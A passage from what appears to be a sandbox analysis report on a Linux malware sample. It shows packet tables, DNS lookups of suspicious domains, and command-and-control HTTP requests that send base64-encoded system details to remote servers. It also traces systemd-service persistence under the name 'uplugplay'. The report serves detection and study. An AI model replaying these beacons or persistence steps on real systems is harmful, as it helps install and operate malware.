Mar 20, 2025 11:28:41.850900888 CET	80	34320	152.36.128.18	192.168.2.13
Mar 20, 2025 11:28:41.850955963 CET	34320	80	192.168.2.13	152.36.128.18
Mar 20, 2025 11:28:41.851960897 CET	80	34320	152.36.128.18	192.168.2.13
Mar 20, 2025 11:28:41.855426073 CET	34320	80	192.168.2.13	152.36.128.18
Mar 20, 2025 11:28:41.993510962 CET	80	34320	152.36.128.18	192.168.2.13
Mar 20, 2025 11:28:44.321075916 CET	34322	80	192.168.2.13	152.36.128.18
Mar 20, 2025 11:28:44.458064079 CET	80	34322	152.36.128.18	192.168.2.13
Mar 20, 2025 11:28:44.458123922 CET	34322	80	192.168.2.13	152.36.128.18
Mar 20, 2025 11:28:44.460433006 CET	34322	80	192.168.2.13	152.36.128.18
Mar 20, 2025 11:28:44.650196075 CET	80	34322	152.36.128.18	192.168.2.13
Mar 20, 2025 11:28:44.692557096 CET	80	34322	152.36.128.18	192.168.2.13
Mar 20, 2025 11:28:44.692645073 CET	34322	80	192.168.2.13	152.36.128.18
Mar 20, 2025 11:28:44.694621086 CET	80	34322	152.36.128.18	192.168.2.13
Mar 20, 2025 11:28:44.695909977 CET	34322	80	192.168.2.13	152.36.128.18
Mar 20, 2025 11:28:44.832540035 CET	80	34322	152.36.128.18	192.168.2.13
Mar 20, 2025 11:30:46.390548944 CET	36700	80	192.168.2.13	54.255.164.76
Mar 20, 2025 11:30:46.937903881 CET	80	36700	54.255.164.76	192.168.2.13
Mar 20, 2025 11:30:46.938071966 CET	36700	80	192.168.2.13	54.255.164.76
Mar 20, 2025 11:30:46.940476894 CET	36700	80	192.168.2.13	54.255.164.76
Mar 20, 2025 11:30:47.487528086 CET	80	36700	54.255.164.76	192.168.2.13
Mar 20, 2025 11:30:47.487584114 CET	80	36700	54.255.164.76	192.168.2.13
Mar 20, 2025 11:30:47.487626076 CET	80	36700	54.255.164.76	192.168.2.13
Mar 20, 2025 11:30:47.487725019 CET	36700	80	192.168.2.13	54.255.164.76
Mar 20, 2025 11:30:47.490524054 CET	36700	80	192.168.2.13	54.255.164.76
Mar 20, 2025 11:30:47.883173943 CET	45456	80	192.168.2.13	85.214.228.140
Mar 20, 2025 11:30:48.040817022 CET	80	36700	54.255.164.76	192.168.2.13
Mar 20, 2025 11:30:48.067030907 CET	80	45456	85.214.228.140	192.168.2.13
Mar 20, 2025 11:30:48.067361116 CET	45456	80	192.168.2.13	85.214.228.140
Mar 20, 2025 11:30:48.069159031 CET	45456	80	192.168.2.13	85.214.228.140
Mar 20, 2025 11:30:48.252366066 CET	80	45456	85.214.228.140	192.168.2.13
Mar 20, 2025 11:30:48.252398968 CET	80	45456	85.214.228.140	192.168.2.13
Mar 20, 2025 11:30:48.252420902 CET	80	45456	85.214.228.140	192.168.2.13
Mar 20, 2025 11:30:48.252657890 CET	45456	80	192.168.2.13	85.214.228.140
Mar 20, 2025 11:30:48.253859997 CET	45456	80	192.168.2.13	85.214.228.140
Mar 20, 2025 11:30:48.258249044 CET	48494	80	192.168.2.13	172.16.3.2
Mar 20, 2025 11:30:48.437011957 CET	80	45456	85.214.228.140	192.168.2.13
Mar 20, 2025 11:30:49.258476973 CET	48494	80	192.168.2.13	172.16.3.2

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 20, 2025 11:30:46.090368986 CET	52778	53	192.168.2.13	8.8.8.8
Mar 20, 2025 11:30:46.191185951 CET	53	52778	8.8.8.8	192.168.2.13
Mar 20, 2025 11:30:46.192017078 CET	43144	53	192.168.2.13	8.8.8.8
Mar 20, 2025 11:30:46.292895079 CET	53	43144	8.8.8.8	192.168.2.13
Mar 20, 2025 11:30:46.293956041 CET	53280	53	192.168.2.13	8.8.8.8
Mar 20, 2025 11:30:46.389832973 CET	53	53280	8.8.8.8	192.168.2.13
Mar 20, 2025 11:30:47.491904020 CET	58805	53	192.168.2.13	8.8.8.8
Mar 20, 2025 11:30:47.689450026 CET	53	58805	8.8.8.8	192.168.2.13
Mar 20, 2025 11:30:47.692099094 CET	36318	53	192.168.2.13	8.8.8.8
Mar 20, 2025 11:30:47.881802082 CET	53	36318	8.8.8.8	192.168.2.13

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 20, 2025 11:30:46.090368986 CET	192.168.2.13	8.8.8.8	0x1577	Standard query (0)	xinchaocacfda.com	A (IP address)	IN (0x0001)	false
Mar 20, 2025 11:30:46.192017078 CET	192.168.2.13	8.8.8.8	0x1577	Standard query (0)	xinchaocacfda.net	A (IP address)	IN (0x0001)	false
Mar 20, 2025 11:30:46.293956041 CET	192.168.2.13	8.8.8.8	0x1577	Standard query (0)	xinchaocacfda.net	A (IP address)	IN (0x0001)	false
Mar 20, 2025 11:30:47.491904020 CET	192.168.2.13	8.8.8.8	0x1577	Standard query (0)	xincacfda.org	A (IP address)	IN (0x0001)	false
Mar 20, 2025 11:30:47.692099094 CET	192.168.2.13	8.8.8.8	0x1577	Standard query (0)	xincacfda.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 20, 2025 11:30:46.191185951 CET	8.8.8.8	192.168.2.13	0x1577	Name error (3)	xinchaocacfda.com	none	none	A (IP address)	IN (0x0001)	false
Mar 20, 2025 11:30:46.292895079 CET	8.8.8.8	192.168.2.13	0x1577	No error (0)	xinchaocacfda.net		54.255.164.76	A (IP address)	IN (0x0001)	false
Mar 20, 2025 11:30:46.389832973 CET	8.8.8.8	192.168.2.13	0x1577	No error (0)	xinchaocacfda.net		54.255.164.76	A (IP address)	IN (0x0001)	false
Mar 20, 2025 11:30:47.689450026 CET	8.8.8.8	192.168.2.13	0x1577	No error (0)	xincacfda.org		85.214.228.140	A (IP address)	IN (0x0001)	false
Mar 20, 2025 11:30:47.881802082 CET	8.8.8.8	192.168.2.13	0x1577	No error (0)	xincacfda.org		85.214.228.140	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

152.36.128.18

xinchaocacfda.net

xincacfda.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.13	34320	152.36.128.18	80

Timestamp	Bytes transferred	Direction	Data
Mar 20, 2025 11:28:41.629297018 CET	76	OUT	GET /cgi-bin/p.cgi?r=14&i=SS5O78A078064Y29 HTTP/1.0 Host: 152.36.128.18
Mar 20, 2025 11:28:41.850900888 CET	217	IN	HTTP/1.1 200 OK Date: Thu, 20 Mar 2025 10:28:41 GMT Server: Apache/2.2.8 (Win32) mod_ssl/2.2.8 OpenSSL/0.9.8g PHP/5.2.6 Content-Length: 7 Connection: close Content-Type: text/html; charset=windows-1251 Data Raw: 73 79 73 69 6e 66 6f Data Ascii: sysinfo

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.13	34322	152.36.128.18	80

Timestamp	Bytes transferred	Direction	Data
Mar 20, 2025 11:28:44.460433006 CET	583	OUT	GET /cgi-bin/p.cgi?add=aW5mbyB7DQp2NC4wMlZfVW5peDY0DQpnYWxhc3NpYQ0KDQoyeCBJbnRlbChSKSBYZW9uKFIpIFNpbHZlciA0MjEwIENQVSBAIDIuMjBHSHoNCjMwNjQyOTYga0INCnZtd2FyZQ0KDQoNCg0KVWJ1bnR1ICYgMjAuMDQuMiBMVFMgKEZvY2FsIEZvc3NhKSANCg0KL3Vzci9zYmluLw0KIDA1OjI4OjQzIHVwIDIgbWluLCAgMSB1c2VyLCAgbG9hZCBhdmVyYWdlOiAyLjI4LCAwLjk4LCAwLjM4fDE3NDI0NjY1MjMNCg0KfQ0K&i=SS5O78A078064Y29&h=galassia&enckey=aZ1CLd/dtdI8aVyuaXZ92iYrNbrnDQsLQ8JBXt0AjYUnd9C632tqm0CBfzp0shLlfn4AGLh06Y0CNt6UIPatamYQ8J+r4hg9cOSuwwQGfJDnNaByp/eCV1TRr+hJ/Vo/3DC1CxVlhocgnAKj6Yxy4G5XNBvWYSo7umUSwM4w+gI= HTTP/1.0 Host: 152.36.128.18
Mar 20, 2025 11:28:44.692557096 CET	262	IN	HTTP/1.1 200 OK Date: Thu, 20 Mar 2025 10:28:44 GMT Server: Apache/2.2.8 (Win32) mod_ssl/2.2.8 OpenSSL/0.9.8g PHP/5.2.6 Content-Length: 3 Connection: close Content-Type: text/html; charset=windows-1251 Data Raw: 6f 6b 21 0d 0a 43 6f 6e 74 65 6e 74 2d 74 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 31 0a 0a Data Ascii: ok!Content-type: text/html; charset=windows-1251

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.13	36700	54.255.164.76	80

Timestamp	Bytes transferred	Direction	Data
Mar 20, 2025 11:30:46.940476894 CET	281	OUT	GET /cgi-bin/p.cgi?r=0&auth=hash&i=SS5O78A078064Y29&enckey=aZ1CLd/dtdI8aVyuaXZ92iYrNbrnDQsLQ8JBXt0AjYUnd9C632tqm0CBfzp0shLlfn4AGLh06Y0CNt6UIPatamYQ8J-r4hg9cOSuwwQGfJDnNaByp/eCV1TRr-hJ/Vo/3DC1CxVlhocgnAKj6Yxy4G5XNBvWYSo7umUSwM4w-gI_ HTTP/1.0 Host: xinchaocacfda.net
Mar 20, 2025 11:30:47.487584114 CET	394	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 20 Mar 2025 10:30:47 GMT Content-Type: text/html Connection: close Set-Cookie: btst=9129c985488bd7e5710c1d9b40d00a45\|161.77.13.4\|1742466647\|1742466647\|0\|1\|0; path=/; domain=.xinchaocacfda.net; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=161.77.13.4; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.13	45456	85.214.228.140	80

Timestamp	Bytes transferred	Direction	Data
Mar 20, 2025 11:30:48.069159031 CET	277	OUT	GET /cgi-bin/p.cgi?r=0&auth=hash&i=SS5O78A078064Y29&enckey=aZ1CLd/dtdI8aVyuaXZ92iYrNbrnDQsLQ8JBXt0AjYUnd9C632tqm0CBfzp0shLlfn4AGLh06Y0CNt6UIPatamYQ8J-r4hg9cOSuwwQGfJDnNaByp/eCV1TRr-hJ/Vo/3DC1CxVlhocgnAKj6Yxy4G5XNBvWYSo7umUSwM4w-gI_ HTTP/1.0 Host: xincacfda.org
Mar 20, 2025 11:30:48.252398968 CET	188	IN	HTTP/1.0 404 Not Found Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Thu, 20 Mar 2025 10:30:48 GMT Content-Length: 19 Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found

System Behavior

Analysis Process: na.elf PID: 5439, Parent PID: 5361

General

Start time (UTC):	10:28:27
Start date (UTC):	20/03/2025
Path:	/tmp/na.elf
Arguments:	/tmp/na.elf
File size:	435932 bytes
MD5 hash:	d057dab2516cd9a1a043a7e39c8ccbb2

File Activities

File Opened

File Deleted

File Read

File Written

Permission Modified

Process Activities

Process Forked

Thread Sleep

System Activities

Query System Information (uname)

Chronological Activities

Analysis Process: na.elf PID: 5442, Parent PID: 5439

General

Start time (UTC):	10:28:27
Start date (UTC):	20/03/2025
Path:	/tmp/na.elf
Arguments:	-
File size:	435932 bytes
MD5 hash:	d057dab2516cd9a1a043a7e39c8ccbb2

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: sh PID: 5442, Parent PID: 5439

General

Start time (UTC):	10:28:27
Start date (UTC):	20/03/2025
Path:	/bin/sh
Arguments:	sh -c "pgrep na.elf"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

File Activities

File Opened

File Read

Process Activities

Process Forked

Chronological Activities

Analysis Process: sh PID: 5443, Parent PID: 5442

General

Start time (UTC):	10:28:27
Start date (UTC):	20/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: pgrep PID: 5443, Parent PID: 5442

General

Start time (UTC):	10:28:27
Start date (UTC):	20/03/2025
Path:	/usr/bin/pgrep
Arguments:	pgrep na.elf
File size:	30968 bytes
MD5 hash:	fa96a75a08109d8842e4865b2907d51f

File Activities

File Opened

File Read

Directory Enumerated

Chronological Activities

Analysis Process: na.elf PID: 5446, Parent PID: 5439

General

Start time (UTC):	10:28:28
Start date (UTC):	20/03/2025
Path:	/tmp/na.elf
Arguments:	-
File size:	435932 bytes
MD5 hash:	d057dab2516cd9a1a043a7e39c8ccbb2

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: sh PID: 5446, Parent PID: 5439

General

Start time (UTC):	10:28:28
Start date (UTC):	20/03/2025
Path:	/bin/sh
Arguments:	sh -c "pidof na.elf"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

File Activities

File Opened

File Read

Process Activities

Process Forked

Chronological Activities

Analysis Process: sh PID: 5447, Parent PID: 5446

General

Start time (UTC):	10:28:28
Start date (UTC):	20/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: pidof PID: 5447, Parent PID: 5446

General

Start time (UTC):	10:28:28
Start date (UTC):	20/03/2025
Path:	/usr/bin/pidof
Arguments:	pidof na.elf
File size:	27016 bytes
MD5 hash:	f58f67968fc50f1497f9ea9e9c22b6e8

File Activities

File Opened

File Read

Directory Enumerated

Chronological Activities

Analysis Process: na.elf PID: 5450, Parent PID: 5439

General

Start time (UTC):	10:28:29
Start date (UTC):	20/03/2025
Path:	/tmp/na.elf
Arguments:	-
File size:	435932 bytes
MD5 hash:	d057dab2516cd9a1a043a7e39c8ccbb2

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: sh PID: 5450, Parent PID: 5439

General

Start time (UTC):	10:28:29
Start date (UTC):	20/03/2025
Path:	/bin/sh
Arguments:	sh -c "pgrep uplugplay"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

File Activities

File Opened

File Read

Process Activities

Process Forked

Chronological Activities

Analysis Process: sh PID: 5451, Parent PID: 5450

General

Start time (UTC):	10:28:30
Start date (UTC):	20/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: pgrep PID: 5451, Parent PID: 5450

General

Start time (UTC):	10:28:30
Start date (UTC):	20/03/2025
Path:	/usr/bin/pgrep
Arguments:	pgrep uplugplay
File size:	30968 bytes
MD5 hash:	fa96a75a08109d8842e4865b2907d51f

File Activities

File Opened

File Read

Directory Enumerated

Chronological Activities

Analysis Process: na.elf PID: 5456, Parent PID: 5439

General

Start time (UTC):	10:28:31
Start date (UTC):	20/03/2025
Path:	/tmp/na.elf
Arguments:	-
File size:	435932 bytes
MD5 hash:	d057dab2516cd9a1a043a7e39c8ccbb2

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: sh PID: 5456, Parent PID: 5439

General

Start time (UTC):	10:28:31
Start date (UTC):	20/03/2025
Path:	/bin/sh
Arguments:	sh -c "pidof uplugplay"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

File Activities

File Opened

File Read

Process Activities

Process Forked

Chronological Activities

Analysis Process: sh PID: 5457, Parent PID: 5456

General

Start time (UTC):	10:28:31
Start date (UTC):	20/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: pidof PID: 5457, Parent PID: 5456

General

Start time (UTC):	10:28:31
Start date (UTC):	20/03/2025
Path:	/usr/bin/pidof
Arguments:	pidof uplugplay
File size:	27016 bytes
MD5 hash:	f58f67968fc50f1497f9ea9e9c22b6e8

File Activities

File Opened

File Read

Directory Enumerated

Chronological Activities

Analysis Process: na.elf PID: 5466, Parent PID: 5439

General

Start time (UTC):	10:28:33
Start date (UTC):	20/03/2025
Path:	/tmp/na.elf
Arguments:	-
File size:	435932 bytes
MD5 hash:	d057dab2516cd9a1a043a7e39c8ccbb2

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: sh PID: 5466, Parent PID: 5439

General

Start time (UTC):	10:28:33
Start date (UTC):	20/03/2025
Path:	/bin/sh
Arguments:	sh -c "pgrep upnpsetup"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

File Activities

File Opened

File Read

Process Activities

Process Forked

Chronological Activities

Analysis Process: sh PID: 5467, Parent PID: 5466

General

Start time (UTC):	10:28:34
Start date (UTC):	20/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: pgrep PID: 5467, Parent PID: 5466

General

Start time (UTC):	10:28:34
Start date (UTC):	20/03/2025
Path:	/usr/bin/pgrep
Arguments:	pgrep upnpsetup
File size:	30968 bytes
MD5 hash:	fa96a75a08109d8842e4865b2907d51f

File Activities

File Opened

File Read

Directory Enumerated

Chronological Activities

Analysis Process: na.elf PID: 5470, Parent PID: 5439

General

Start time (UTC):	10:28:35
Start date (UTC):	20/03/2025
Path:	/tmp/na.elf
Arguments:	-
File size:	435932 bytes
MD5 hash:	d057dab2516cd9a1a043a7e39c8ccbb2

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: sh PID: 5470, Parent PID: 5439

General

Start time (UTC):	10:28:35
Start date (UTC):	20/03/2025
Path:	/bin/sh
Arguments:	sh -c "systemctl daemon-reload"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

File Activities

File Opened

File Read

Process Activities

Process Forked

Chronological Activities

Analysis Process: sh PID: 5471, Parent PID: 5470

General

Start time (UTC):	10:28:36
Start date (UTC):	20/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: systemctl PID: 5471, Parent PID: 5470

General

Start time (UTC):	10:28:36
Start date (UTC):	20/03/2025
Path:	/usr/bin/systemctl
Arguments:	systemctl daemon-reload
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

File Activities

File Opened

File Read

Network Activities

Socket Connecting

Chronological Activities

Analysis Process: na.elf PID: 5475, Parent PID: 5439

General

Start time (UTC):	10:28:37
Start date (UTC):	20/03/2025
Path:	/tmp/na.elf
Arguments:	-
File size:	435932 bytes
MD5 hash:	d057dab2516cd9a1a043a7e39c8ccbb2

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: sh PID: 5475, Parent PID: 5439

General

Start time (UTC):	10:28:37
Start date (UTC):	20/03/2025
Path:	/bin/sh
Arguments:	sh -c "systemctl enable uplugplay.service"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

File Activities

File Opened

File Read

Process Activities

Process Forked

Chronological Activities

Analysis Process: sh PID: 5476, Parent PID: 5475

General

Start time (UTC):	10:28:37
Start date (UTC):	20/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: systemctl PID: 5476, Parent PID: 5475

General

Start time (UTC):	10:28:37
Start date (UTC):	20/03/2025
Path:	/usr/bin/systemctl
Arguments:	systemctl enable uplugplay.service
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

File Activities

File Opened

File Read

Network Activities

Socket Connecting

Chronological Activities

Analysis Process: na.elf PID: 5480, Parent PID: 5439

General

Start time (UTC):	10:28:38
Start date (UTC):	20/03/2025
Path:	/tmp/na.elf
Arguments:	-
File size:	435932 bytes
MD5 hash:	d057dab2516cd9a1a043a7e39c8ccbb2

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: sh PID: 5480, Parent PID: 5439

General

Start time (UTC):	10:28:38
Start date (UTC):	20/03/2025
Path:	/bin/sh
Arguments:	sh -c "systemctl start uplugplay.service"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

File Activities

File Opened

File Read

Process Activities

Process Forked

Chronological Activities

Analysis Process: sh PID: 5481, Parent PID: 5480

General

Start time (UTC):	10:28:39
Start date (UTC):	20/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: systemctl PID: 5481, Parent PID: 5480

General

Start time (UTC):	10:28:39
Start date (UTC):	20/03/2025
Path:	/usr/bin/systemctl
Arguments:	systemctl start uplugplay.service
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

File Activities

File Opened

File Read

Network Activities

Socket Connecting

Chronological Activities

Analysis Process: systemd PID: 5473, Parent PID: 5472

General

Start time (UTC):	10:28:36
Start date (UTC):	20/03/2025
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: snapd-env-generator PID: 5473, Parent PID: 5472

General

Start time (UTC):	10:28:36
Start date (UTC):	20/03/2025
Path:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
Arguments:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File size:	22760 bytes
MD5 hash:	3633b075f40283ec938a2a6a89671b0e

File Activities

File Opened

File Read

File Written

Chronological Activities

Analysis Process: systemd PID: 5478, Parent PID: 5477

General

Start time (UTC):	10:28:38
Start date (UTC):	20/03/2025
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: snapd-env-generator PID: 5478, Parent PID: 5477

General

Start time (UTC):	10:28:38
Start date (UTC):	20/03/2025
Path:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
Arguments:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File size:	22760 bytes
MD5 hash:	3633b075f40283ec938a2a6a89671b0e

File Activities

File Opened

File Read

File Written

Chronological Activities

Analysis Process: systemd PID: 5482, Parent PID: 1

General

Start time (UTC):	10:28:39
Start date (UTC):	20/03/2025
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: uplugplay PID: 5482, Parent PID: 1

General

Start time (UTC):	10:28:39
Start date (UTC):	20/03/2025
Path:	/usr/sbin/uplugplay
Arguments:	/usr/sbin/uplugplay
File size:	435932 bytes
MD5 hash:	d057dab2516cd9a1a043a7e39c8ccbb2

File Activities

File Opened

Process Activities

Process Forked

Thread Sleep

System Activities

Query System Information (uname)

Chronological Activities

Analysis Process: uplugplay PID: 5493, Parent PID: 5482

General

Start time (UTC):	10:28:39
Start date (UTC):	20/03/2025
Path:	/usr/sbin/uplugplay
Arguments:	-
File size:	435932 bytes
MD5 hash:	d057dab2516cd9a1a043a7e39c8ccbb2

File Activities

File Opened

Process Activities

Process Forked

Chronological Activities

Analysis Process: uplugplay PID: 5494, Parent PID: 5493

General

Start time (UTC):	10:28:39
Start date (UTC):	20/03/2025
Path:	/usr/sbin/uplugplay
Arguments:	-
File size:	435932 bytes
MD5 hash:	d057dab2516cd9a1a043a7e39c8ccbb2

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: sh PID: 5494, Parent PID: 5493

General

Start time (UTC):	10:28:39
Start date (UTC):	20/03/2025
Path:	/bin/sh
Arguments:	sh -c "/usr/sbin/uplugplay -Dcomsvc"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

File Activities

File Opened

File Read

Process Activities

Process Forked

Chronological Activities

Analysis Process: sh PID: 5495, Parent PID: 5494

General

Start time (UTC):	10:28:39
Start date (UTC):	20/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: uplugplay PID: 5495, Parent PID: 5494

General

Start time (UTC):	10:28:39
Start date (UTC):	20/03/2025
Path:	/usr/sbin/uplugplay
Arguments:	/usr/sbin/uplugplay -Dcomsvc
File size:	435932 bytes
MD5 hash:	d057dab2516cd9a1a043a7e39c8ccbb2

File Activities

File Opened

File Read

File Written

Process Activities

Process Forked

Thread Sleep

System Activities

Query System Information (uname)

Network Activities

Socket Listening

Socket Connecting

Chronological Activities

Analysis Process: uplugplay PID: 5501, Parent PID: 5495

General

Start time (UTC):	10:28:40
Start date (UTC):	20/03/2025
Path:	/usr/sbin/uplugplay
Arguments:	-
File size:	435932 bytes
MD5 hash:	d057dab2516cd9a1a043a7e39c8ccbb2

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: sh PID: 5501, Parent PID: 5495

General

Start time (UTC):	10:28:40
Start date (UTC):	20/03/2025
Path:	/bin/sh
Arguments:	sh -c hostnamectl
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

File Activities

File Opened

File Read

Process Activities

Process Forked

Chronological Activities

Analysis Process: sh PID: 5502, Parent PID: 5501

General

Start time (UTC):	10:28:40
Start date (UTC):	20/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: hostnamectl PID: 5502, Parent PID: 5501

General

Start time (UTC):	10:28:40
Start date (UTC):	20/03/2025
Path:	/usr/bin/hostnamectl
Arguments:	hostnamectl
File size:	26848 bytes
MD5 hash:	b1245aa6d3c28b5d5fedb2d681d32eb9

File Activities

File Opened

File Read

Process Activities

Prctl Requested

Network Activities

Socket Connecting

Chronological Activities

Analysis Process: uplugplay PID: 5505, Parent PID: 5495

General

Start time (UTC):	10:28:41
Start date (UTC):	20/03/2025
Path:	/usr/sbin/uplugplay
Arguments:	-
File size:	435932 bytes
MD5 hash:	d057dab2516cd9a1a043a7e39c8ccbb2

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: sh PID: 5505, Parent PID: 5495

General

Start time (UTC):	10:28:41
Start date (UTC):	20/03/2025
Path:	/bin/sh
Arguments:	sh -c hostnamectl
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

File Activities

File Opened

File Read

Process Activities

Process Forked

Chronological Activities

Analysis Process: sh PID: 5506, Parent PID: 5505

General

Start time (UTC):	10:28:41
Start date (UTC):	20/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: hostnamectl PID: 5506, Parent PID: 5505

General

Start time (UTC):	10:28:41
Start date (UTC):	20/03/2025
Path:	/usr/bin/hostnamectl
Arguments:	hostnamectl
File size:	26848 bytes
MD5 hash:	b1245aa6d3c28b5d5fedb2d681d32eb9

File Activities

File Opened

File Read

Process Activities

Prctl Requested

Network Activities

Socket Connecting

Chronological Activities

Analysis Process: uplugplay PID: 5643, Parent PID: 5495

General

Start time (UTC):	10:28:42
Start date (UTC):	20/03/2025
Path:	/usr/sbin/uplugplay
Arguments:	-
File size:	435932 bytes
MD5 hash:	d057dab2516cd9a1a043a7e39c8ccbb2

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: sh PID: 5643, Parent PID: 5495

General

Start time (UTC):	10:28:42
Start date (UTC):	20/03/2025
Path:	/bin/sh
Arguments:	sh -c uptime
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

File Activities

File Opened

File Read

Process Activities

Process Forked

Chronological Activities

Analysis Process: sh PID: 5645, Parent PID: 5643

General

Start time (UTC):	10:28:42
Start date (UTC):	20/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: uptime PID: 5645, Parent PID: 5643

General

Start time (UTC):	10:28:42
Start date (UTC):	20/03/2025
Path:	/usr/bin/uptime
Arguments:	uptime
File size:	14568 bytes
MD5 hash:	3ad70d8e33316ac713bf25c2ddf2fb14

File Activities

File Opened

File Read

Chronological Activities

Analysis Process: uplugplay PID: 5644, Parent PID: 5495

General

Start time (UTC):	10:28:42
Start date (UTC):	20/03/2025
Path:	/usr/sbin/uplugplay
Arguments:	-
File size:	435932 bytes
MD5 hash:	d057dab2516cd9a1a043a7e39c8ccbb2

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: sh PID: 5644, Parent PID: 5495

General

Start time (UTC):	10:28:42
Start date (UTC):	20/03/2025
Path:	/bin/sh
Arguments:	sh -c uptime
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

File Activities

File Opened

